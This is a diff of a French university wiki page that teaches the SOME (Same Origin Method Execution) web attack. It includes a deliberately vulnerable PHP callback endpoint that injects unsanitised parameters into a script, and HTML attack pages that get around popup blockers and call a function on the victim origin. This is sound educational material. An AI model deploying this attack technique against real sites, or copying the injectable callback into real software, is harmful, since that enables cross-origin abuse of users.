User Tools

Site Tools


secres:some

Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Next revision
Previous revision
secres:some [2017/11/23 09:05] – created orelsecres:some [2024/03/18 15:06] (current) – external edit 127.0.0.1
Line 1: Line 1:
 ====== SOME (Same Origin Method Execution) ====== ====== SOME (Same Origin Method Execution) ======
  
 +Il s'agit d'une attaque web... //à expliquer briévement ici// Pour plus d'info sur le sujet, cf. la biblio ci-dessous.
  
-=== SOME attack ===+=== Démonstration === 
 + 
 +//La démonstration suivante a été mise en oeuvre avec le navigateur Google Chrome.// 
 + 
 +Considérons le site web du domaine //labri.fr// et en particulier la page http://www.labri.fr/perso/esnard/php/attackme.html...  
 + 
 +<code html attackme.html> 
 +<html> 
 +  <script> 
 +    function hello() { 
 +      document.write("hello world!"); 
 +    } 
 +    function hack() { 
 +      document.write("you hack me!"); 
 +    } 
 +    hello(); 
 +    </script> 
 +</html> 
 +</code> 
 + 
 + 
 + 
 +Par ailleurs, le site possède un callback endpoint vulnérable (typiquement du JSONP ou du Flash). Ici le endpoint vulnérable est juste un programme callback.php (http://www.labri.fr/perso/esnard/php/callback.php), qui prend deux arguments : une fonction de //callback// et un argument (//arg//) à passer à la fonction //callback//. Par exemple : 
 + 
 +  * http://www.labri.fr/perso/esnard/php/callback.php?callback=window.alert&arg=coucou%20terre 
 + 
 +En pratique, le code PHP se contente d'éxécuter une fonction JavaScript : 
 + 
 +<code php callback.php> 
 +<?php 
 +$callback = isset($_GET['callback']) ? $_GET['callback'] : "document.write"; 
 +$arg = isset($_GET['arg']) ? $_GET['arg'] : "hello world!"; 
 +print "<html><script> $callback(\"$arg\"); </script></html>"; 
 +?> 
 +</code> 
 + 
 +Imaginons que la victime souhaitant visiter la page http://www.labri.fr/perso/esnard/php/attackme.html y accède en cliquant sur un lien frauduleux http://aurelien.esnard.emi.u-bordeaux.fr/demo/some-attack/attack-click.html, qui le redirige automatiquement vers le site souhaité...  
 + 
 +Par exemple : [[http://aurelien.esnard.emi.u-bordeaux.fr/demo/some-attack/attack-click.html | Page Perso de A. Esnard]] 
 + 
 +Afin de contourner les popups blocker (celui interne à Google Chrome et/ou les plugins comme AdBlock), ils existent de multiples techniques. La plus simple (même si ce n'est pas discret) consiste à ouvrir le popup après un //click// utilisateur...  
 + 
 +<code html attack-click.html> 
 +<html> 
 +  <body> 
 +    <h1> Main Attack Page</h1> 
 +    <script> 
 +      function redirect() { 
 +      window.open("/demo/some-attack/win1.html"); 
 +      window.location.replace("http://www.labri.fr/perso/esnard/php/attackme.html"); 
 +      } 
 +    </script> 
 +    <button onclick="redirect()">Start</button> 
 +  </body> 
 +</html> 
 +</code> 
 + 
 + 
 +<code html win1.html> 
 +<html> 
 +  <body> 
 +    <h1> Win 1</h1>     
 +    <p>Redirect to Vulnerable callback page in 3sec!</p> 
 +    <script> 
 +      function waitForDOM() { 
 +        window.location.replace("http://www.labri.fr/perso/esnard/php/callback.php?callback=opener.hack); 
 +      } 
 +      setTimeout(waitForDOM,3000); 
 +    </script>     
 +  </body> 
 + 
 +</html> 
 +</code> 
 + 
 + 
 +=== Biblio ===
  
   * http://www.benhayak.com/2015/06/same-origin-method-execution-some.html   * http://www.benhayak.com/2015/06/same-origin-method-execution-some.html
secres/some.1511427955.txt.gz · Last modified: 2024/03/18 15:05 (external edit)